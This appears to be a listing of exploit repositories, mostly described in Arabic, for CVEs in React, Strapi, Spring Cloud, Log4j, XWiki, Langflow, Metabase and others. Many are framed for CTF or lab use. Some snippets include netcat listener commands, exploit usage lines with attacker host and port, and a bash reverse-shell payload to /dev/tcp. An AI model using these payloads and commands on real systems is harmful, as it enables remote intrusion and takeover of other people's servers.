React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script d'exploitation 🔥 Introduction Ce dépôt contient un script d'exploitation pour la vulnérabilité React2Shell CVE-2025–55182, qui cible un type spécifique de pollution de prototype Node.js menant à une exécution de code à distance RCE. Le script est spécifiqueme...

CVE-2023-30258-magnus-billing-v7-exploit

استغلال Magnus Billing System v7 تقوم هذه الأداة النصية بلغة بايثون بأتمتة استغلال ثغرة حقن الأوامر في نظام Magnus Billing الإصدار 7، وتحديداً في ملف icepay.php الموجود في المسار /mbilling/lib/icepay/icepay.php. يستغل الاستغلال المعامل democ لتنفيذ أوامر عشوائية على النظام المستهدف، مما يؤدي في...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Proof-of-concept ثغرة رفع ملفات كبيرة غير مصادق عليها في Chamilo LMS تسمح بتنفيذ الأوامر عن بُعد الكود مُعدّ ومُستخدم من أجل HACKTHEBOX CTF PERMX رفع ملفات غير مصادق عليه في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS كود شيل PHP...

CVE-2023-38035-MobileIron-RCE

استغلال MobileIron CVE-2023-38035 README.md الوصف يقوم هذا السكربت بلغة bash بأتمتة عملية فحص أنظمة MobileIron الضعيفة المعرضة لاستغلال CVE-2023-38035. ينفذ السكربت عدة فحوصات، بما في ذلك التحقق من البرامج المطلوبة، وتنزيل الأهداف المحتملة من Shodan، وفحص هذه الأهداف، وأخيرًا محاولة فتح قشرة shel...

Strapi-RCE

Strapi-RCE سكربت استغلال يعرض مزيجًا من CVE-2019-18818 وCVE-2019-19609 لتنفيذ الأوامر عن بُعد دون مصادقة في Strapi CMS. الاستغلال يستغل هذا السكربت ثغرة في إصدارات Strapi CMS حتى 3.0.0-beta.17.4 وما دونها، مما يسمح بتنفيذ الأوامر عن بُعد دون مصادقة. الوصف تعمل الأداة عن طريق استغلال ثغرة إعادة...

RCE-in-Spring-Cloud-CVE-2022-22963

استغلال لـ RCE في Spring Cloud CVE 2022-22963 استغلال لـ CVE-2022-22963 لتنفيذ الأوامر عن بُعد في Spring Cloud Function انظر للحصول على تفاصيل حول الثغرة هنا وهنا PoC قم بتشغيل netcat على مضيفك: $ nc -lvnp 9001 قم بتشغيل الاستغلال مثال مع المنفذ الافتراضي 9001 على مضيف المهاجم: $ ./exploit.sh...

php_reverse_shell

لا يحتوي هذا المستودع على ملف README...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass طريقتان مقدمتان للحصول على محتوى العلم: 1. انسخه من المضيف إلى الدليل المركب للحاوية; 2. استخدم شل عكسي للحصول عليه;...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ مهم اقرأ أولاً يحتوي هذا المستودع على إثبات مفهوم PoC بلغة Java مخصص للاستخدام في مسابقات CTF / البيئات المخبرية فقط. لا تقم بتشغيل هذا الكود ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. الاستغلال غير المصرح به غير قانوني. استخدمه فقط في بيئات معزولة أجهزة...

Log4Shell-CVE-2021-44228-ENV

بيئة إعادة إنتاج Log4Shell وصف المثال عنوان IP للجهاز المستهدف: 47.47.47.47 عنوان IP لجهاز المهاجم: 48.48.48.48 تشغيل Docker للثغرة على الجهاز المستهدف استخدم DockerFile لبناء صورة docker وتشغيلها: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln تشغيل Docker الهجومي على جهاز المها...

CVE-2024-48990-POC

CVE-2024-48990-POC إثبات بسيط لثغرة CVE-2024-48990 لتصعيد الامتيازات مع needrestart. https://www.qualys.com/2024/11/19/needrestart/needrestart.txt نظرة عامة تم تصميم هذا أثناء العمل على تحدي HackTheBox، 'Conversor'. سيتم إجراء تعديلات طفيفة لتعميمه أكثر لاحقًا. لم تعجبني التطبيقات التي وجدتها...

CVE-2026-33017-Exploit

استغلال Fireflow لتنفيذ الأوامر عن بُعد تنفيذ التعليمات البرمجية عن بُعد لـ Langflow عبر نقطة النهاية buildpublictmp. استغلال عبر نقطة نهاية بناء التدفق العامة التي تنفذ شل عكسية على الهدف. المتطلبات Python 3.8+ مكتبة httpx التثبيت: pip install httpx الاستخدام python exploit.py -u -l -p --flow-id...

xwiki-15.10.8-reverse-shell-cve-2025-24893

استغلال شيل عكسي لـ CVE-2025-24893 في XWiki إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبار الأمان المصرح به فقط. لا تستخدمها على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. الاستخدام الخاطئ قد يكون غير قانوني وخطير. الوصف يستغل هذا السكريبت بلغة بايثون CVE-2025-24893 ، وهي ثغرة تنف...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC إثبات مفهوم قصير بلغة Python لإساءة استخدام معالج Apache NiFi ExecuteSQL القابل للتحرير باستخدام حمولة H2 RUNSCRIPT لتشغيل تنفيذ الأوامر عن بعد عبر غلاف عكسي Bash. للاستخدام المصرح به للاختبار والبحث فقط. لا تستخدم ضد أنظمة لا تملكها أو...

CVE-2026-27971_POC

CVE-2026-27971 — ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في Qwik server$ PoC !WARNING يحتوي هذا المستودع على إثبات مفهوم نشط لتنفيذ التعليمات البرمجية عن بُعد. استخدمه فقط ضد أنظمة تملكها أو مُخوَّل لك اختبارها صراحةً. لا يتحمّل المؤلف أي مسؤولية عن الاستخدام غير المصرّح به أو الأضرار...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: الحصول على شل عكسية على Havoc C2 - ربط SSRF مع RCE احصل على شل عكسية باستخدام عنوان IP المحلي والمنفذ، بربط CVE-2024-4157 POC مع havocauthrce الاستخدام معلومات أساسية $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -d DOMAINNAM...

BlueDoor

تحدي BlueDoor لمسابقات CTF نظرة عامة اسم التحدي : BlueDoor CVE : CVE-2017-0144 EternalBlue الصعوبة : 3/5 الفئة : استغلال الثغرات، ويندوز المؤلفون : Seth Davis يحاكي BlueDoor ثغرة أمنية واقعية EternalBlue - CVE-2017-0144 في نظام ويندوز 7. الهدف هو استغلال الثغرة، رفع الصلاحيات، واسترجاع علم مخفي...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell الوصف هذه الأداة هي أداة اختبار اختراق مصممة لاستغلال الثغرة الأمنية CVE-2022-42889، والمعروفة أيضًا باسم Text4Shell، في مكتبة Apache Commons Text الإصدارات -param $PARAMETER -L $LHOST -P $LPORT مثال python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L...

CVE-2024-4439

استغلال CVE-2024-4439 يوضح هذا السكربت المكتوب بلغة Python استغلالًا للثغرة الأمنية CVE-2024-4439. يمكنك استخدام هذا السكربت لاختبار موقع ووردبريس عرضة للخطر. الاستخدام قبل البدء git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-package...

CVE-2023-38646

CVE-2023-38646 النص الأصلي مأخوذ من securezeron خلال اختباراتي، وجدت أن الـ reverse shell الذي يولّده هذا الـ PoC يفشل في الاستغلال بسبب حرف '=' في النهاية بعد ترميز base6. قمت بتعديل بسيط عليه لحل هذه المشكلة. 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080...